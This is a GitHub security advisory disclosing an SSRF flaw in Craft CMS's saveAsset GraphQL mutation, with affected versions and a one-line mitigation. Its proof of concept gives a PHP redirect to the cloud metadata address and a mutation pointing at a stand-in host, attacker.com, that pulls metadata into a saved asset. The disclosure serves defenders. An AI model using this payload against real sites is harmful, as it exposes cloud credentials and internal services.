ADVISORIES

GitHub Advisory Database

GHSA-8jr8-7hr4-vhfx

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Moderate CVE-2026-25493

Details

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

---

Proof of Concept

  • Host a redirect script on your server (e.g. redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  • Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
  • The application validates attacker.com (passes)
  • Guzzle follows the redirect to 169.254.169.254
  • Cloud metadata is saved as an asset

---

Mitigation

  • Disable redirects.

Affected packages

EcosystemPackageAffected versions
Packagistcraftcms/cms
From 5.0.0-RC1 before 5.8.22 (fixed in 5.8.22)
Packagistcraftcms/cms
From 4.0.0-RC1 before 4.16.18 (fixed in 4.16.18)

References